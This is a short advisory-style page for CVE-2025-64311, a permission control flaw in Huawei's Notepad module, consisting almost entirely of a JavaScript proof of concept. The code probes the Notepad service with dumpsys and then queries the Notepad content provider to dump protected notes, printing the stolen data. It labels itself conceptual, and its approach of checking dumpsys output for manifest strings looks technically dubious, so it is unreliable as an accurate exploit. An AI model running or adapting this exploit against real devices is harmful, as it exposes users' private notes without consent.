CVE-2025-64311: 华为Notepad模块权限控制漏洞

// CVE-2025-64311 PoC - Huawei Notepad Permission Control Vulnerability // This PoC demonstrates local privilege escalation via Notepad module const { execSync } = require('child_process'); class CVE202564311 { constructor() { this.cveId = 'CVE-2025-64311'; this.target = 'Huawei Notepad Module'; } checkVulnerability() { console.log('[+] Checking for CVE-2025-64311 vulnerability...'); // Attempt to access protected Notepad data via IPC const cmd = 'dumpsys activity services com.huawei.notepad'; try { const result = execSync(cmd, { encoding: 'utf8' }); // Check for exposed content providers or activities if (result.includes('exported="true"') || result.includes('permission="null"')) { console.log('[!] Vulnerability confirmed: Insecure component exposed'); return true; } } catch (e) { console.log('[-] Check failed or service not accessible'); } return false; } exploit() { console.log('[*] Attempting exploitation...'); // Exploit improper permission control in Notepad content provider const exploitCmd = 'content query --uri content://com.huawei.notepad.provider/notes'; try { const data = execSync(exploitCmd, { encoding: 'utf8' }); console.log('[+] Successfully accessed protected data:'); console.log(data); return data; } catch (e) { console.log('[-] Exploitation failed'); return null; } } } // Usage const poc = new CVE202564311(); if (poc.checkVulnerability()) { poc.exploit(); } // Note: This is a conceptual PoC. Actual exploitation requires device-specific analysis.